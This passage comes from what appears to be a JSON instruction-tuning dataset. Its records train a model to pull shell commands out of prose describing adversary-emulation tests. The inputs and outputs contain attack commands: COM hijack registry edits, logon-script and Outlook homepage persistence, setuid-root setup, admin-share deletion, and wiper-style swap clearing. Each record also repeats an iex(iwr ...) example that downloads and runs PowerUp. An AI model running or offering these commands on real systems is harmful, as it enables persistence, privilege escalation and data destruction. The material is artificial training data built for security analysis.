extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To compress collected data before exfiltration, an adversary can use standard gzip compression with the following command: test -e #{input_file} && gzip -k #{input_file} || (echo '#{input_content}' >> #{input_file}; gzip -k #{input_file})\n; This test demonstrates how an adversary may compress data for exfiltration via the command: tar -cvzf #{output_file} #{input_file_folder}", "output": "{\"command_list\": [\"test -e #{input_file} && gzip -k #{input_file} || (echo '#{input_content}' >> #{input_file}; gzip -k #{input_file})\\n\", \"tar -cvzf #{output_file} #{input_file_folder}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To hijack a COM reference, PowerShell can be used to create registry values under the InprocServer32 key in the HKCU hive, followed by executing the Class ID via rundll32.exe with the following commands: \nNew-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\#{clsid}' -Value '#{clsid_description}'\nNew-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\#{clsid}\\InprocServer32' -Value \"#{dllpath}\"\nNew-ItemProperty -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\#{clsid}\\InprocServer32' -Name 'ThreadingModel' -Value '#{clsid_threading}' -PropertyType \"String\"\nStart-Process -FilePath \"C:\\Windows\\System32\\RUNDLL32.EXE\" -ArgumentList '-sta #{clsid}'; To execute a COM CLSID object via PowerShell, use the following command:\n$o= [activator]::CreateInstance([type]::GetTypeFromCLSID(\"9BA05972-F6A8-11CF-A442-00A0C90A8F39\"))\n$item = $o.Item()\n$item.Document.Application.ShellExecute(\"cmd.exe\",\"/c calc.exe\",\"C:\\\\windows\\\\system32\",$null,0)\n", "output": "{\"command_list\": [\"New-Item -Path 'HKCU:\\\\SOFTWARE\\\\Classes\\\\CLSID\\\\#{clsid}' -Value '#{clsid_description}'\\nNew-Item -Path 'HKCU:\\\\SOFTWARE\\\\Classes\\\\CLSID\\\\#{clsid}\\\\InprocServer32' -Value \\\"#{dllpath}\\\"\\nNew-ItemProperty -Path 'HKCU:\\\\SOFTWARE\\\\Classes\\\\CLSID\\\\#{clsid}\\\\InprocServer32' -Name 'ThreadingModel' -Value '#{clsid_threading}' -PropertyType \\\"String\\\"\\nStart-Process -FilePath \\\"C:\\\\Windows\\\\System32\\\\RUNDLL32.EXE\\\" -ArgumentList '-sta #{clsid}'\", \"$o= [activator]::CreateInstance([type]::GetTypeFromCLSID(\\\"9BA05972-F6A8-11CF-A442-00A0C90A8F39\\\"))\\n$item = $o.Item()\\n$item.Document.Application.ShellExecute(\\\"cmd.exe\\\",\\\"/c calc.exe\\\",\\\"C:\\\\windows\\\\system32\\\",$null,0)\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n If you suspect malicious activity, you should remove hidden administrative shares with the command: for %i in (C$ IPC$ ADMIN$) do net share %i /delete; To perform a scan of common directories and file paths on a target system, use the following command:\nImport-Module \"PathToAtomicsFolder/T1595.003/src/WebServerScan.ps1\"\nInvoke-WordlistScan -Target \"#{target}\" -Wordlist \"#{wordlist}\" -Timeout \"#{request_timeout}\" -OutputFile \"#{output_file}\"\nWrite-Host \"Scan complete. Results saved to: #{output_file}\"\n", "output": "{\"command_list\": [\"for %i in (C$ IPC$ ADMIN$) do net share %i /delete\", \"Import-Module \\\"PathToAtomicsFolder/T1595.003/src/WebServerScan.ps1\\\"\\nInvoke-WordlistScan -Target \\\"#{target}\\\" -Wordlist \\\"#{wordlist}\\\" -Timeout \\\"#{request_timeout}\\\" -OutputFile \\\"#{output_file}\\\"\\nWrite-Host \\\"Scan complete. Results saved to: #{output_file}\\\"\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n In FreeBSD, you can configure the SetUID flag for a file with this sequence of commands: sudo touch #{file_to_setuid}\nsudo chown root #{file_to_setuid}\nsudo chmod u+xs #{file_to_setuid}\n; In FreeBSD, you can enable the SetUID flag on a file with this sequence of commands: touch #{file_to_setuid}\nchown root #{file_to_setuid}\nchmod u+xs #{file_to_setuid}\n", "output": "{\"command_list\": [\"sudo touch #{file_to_setuid}\\nsudo chown root #{file_to_setuid}\\nsudo chmod u+xs #{file_to_setuid}\\n\", \"touch #{file_to_setuid}\\nchown root #{file_to_setuid}\\nchmod u+xs #{file_to_setuid}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The local computer's installed drivers can be examined, with verbose output and signed driver details, via these commands: driverquery /v /fo list\ndriverquery /si /fo list; You can load a Linux kernel module by executing this command: sudo insmod #{module_path}", "output": "{\"command_list\": [\"driverquery /v /fo list\\ndriverquery /si /fo list\\n\", \"sudo insmod #{module_path}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This creates a batch script in the temp directory and adds a registry entry, which can be executed with the command:\necho \"#{script_command}\" > #{script_path}\nREG.exe ADD HKCU\\Environment /v UserInitMprLogonScript /t REG_SZ /d \"#{script_path}\" /f\n; This test adds persistence by modifying the Outlook Home Page settings, causing the payload to execute when the folder is opened, with the command: reg.exe add HKCU\\Software\\Microsoft\\Office\\#{outlook_version}\\Outlook\\WebView\\#{outlook_folder} /v URL /t REG_SZ /d #{url} /f", "output": "{\"command_list\": [\"echo \\\"#{script_command}\\\" > #{script_path}\\nREG.exe ADD HKCU\\\\Environment /v UserInitMprLogonScript /t REG_SZ /d \\\"#{script_path}\\\" /f\\n\", \"reg.exe add HKCU\\\\Software\\\\Microsoft\\\\Office\\\\#{outlook_version}\\\\Outlook\\\\WebView\\\\#{outlook_folder} /v URL /t REG_SZ /d #{url} /f\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For a temporary system change to clear paging cache (referenced in Awfulshred's attack), execute this command: free && echo 3 > /proc/sys/vm/drop_caches && free\necho 3> /proc/sys/vm/drop_caches; The Awfulshred wiper employed this method to ensure no recoverable data remains, which you can replicate using these commands: swapon -a \nsleep 2\nswapoff -a\nsync\n", "output": "{\"command_list\": [\"free && echo 3 > /proc/sys/vm/drop_caches && free\\necho 3> /proc/sys/vm/drop_caches \\n\", \"swapon -a \\nsleep 2\\nswapoff -a\\nsync\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No 